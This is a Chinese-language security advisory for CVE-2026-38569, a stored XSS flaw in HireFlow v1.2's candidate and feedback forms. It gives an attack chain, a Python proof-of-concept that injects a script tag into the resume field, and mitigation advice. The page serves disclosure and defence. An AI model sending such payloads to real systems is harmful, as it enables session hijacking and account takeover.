IPBUF安全漏洞报告
English
CVE-2026-38569 CVSS 5.4 中危

CVE-2026-38569: HireFlow 存储型XSS漏洞

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-38569
漏洞类型
跨站脚本攻击 (XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
HireFlow

相关标签

XSSHireFlowWeb安全存储型XSSCVE-2026-38569

漏洞概述

HireFlow v1.2版本存在严重的存储型跨站脚本(XSS)漏洞。攻击者可利用`POST /candidates/add`或`POST /feedback/add`接口,在Resume或Feedback Comment字段注入恶意JavaScript代码。当管理员或其他用户访问`candidate_detail.html`页面查看详情时,恶意脚本将被触发并执行,从而导致Cookie窃取、会话劫持等安全风险。

技术细节

该漏洞属于存储型跨站脚本攻击(Stored XSS)。在HireFlow v1.2版本中,应用程序在处理通过`POST /candidates/add`添加候选人简历或通过`POST /feedback/add`添加反馈评论的请求时,缺乏对用户输入的严格过滤和净化。攻击者可以利用“Resume”或“Feedback Comment”这两个输入字段,将恶意的HTML或JavaScript代码注入到后台数据库中。由于系统在后续向`candidate_detail.html`页面展示数据时,未对存储的内容进行HTML实体编码,导致当管理员或授权用户浏览该页面时,嵌入的恶意脚本将在受害者浏览器中自动执行。鉴于CVSS向量包含S:C(作用域变更),该漏洞可能突破浏览器的同源策略限制,影响用户上下文,造成更广泛的危害。攻击者可利用此漏洞窃取用户Session ID、进行钓鱼攻击或重定向用户,进而接管账户权限。

攻击链分析

STEP 1
侦察
攻击者识别出目标站点使用的是HireFlow v1.2版本,并确认其存在`/candidates/add`和`/feedback/add`接口。
STEP 2
漏洞利用
攻击者构造包含恶意JavaScript代码的HTTP POST请求,将其发送至上述接口,并将Payload填入Resume或Feedback Comment字段。
STEP 3
数据存储
服务器端接收到请求后,未进行有效过滤即将恶意数据存储在数据库中。
STEP 4
触发执行
当管理员或具有权限的用户访问`candidate_detail.html`页面查看候选人详情时,后端从数据库读取恶意内容并渲染到页面。
STEP 5
攻击生效
受害者的浏览器解析并执行了注入的恶意脚本,导致Cookie被盗取或会话被劫持。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL configuration target_url = "http://target-host/candidates/add" # Malicious payload to demonstrate XSS # This payload triggers a simple alert box when the page is loaded xss_payload = "<script>alert('CVE-2026-38569-XSS');</script>" # Data to be sent in the POST request # The vulnerability is in the 'Resume' or 'Feedback Comment' fields post_data = { "name": "Test Candidate", "email": "[email protected]", "resume": xss_payload, # Injecting payload into the Resume field "feedback_comment": "Nice resume" # Or inject here } try: # Sending the POST request to store the malicious payload response = requests.post(target_url, data=post_data) if response.status_code == 200: print("Payload sent successfully. Check candidate_detail.html to verify execution.") else: print(f"Request failed with status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}")

影响范围

HireFlow v1.2

防御指南

临时缓解措施
建议管理员暂时限制对`/candidates/add`和`/feedback/add`接口的访问权限,仅允许可信IP调用。同时,应部署Web应用防火墙(WAF),配置规则拦截包含常见XSS攻击特征(如脚本标签)的流量,以降低被攻击的风险,直至官方补丁完全部署。

参考链接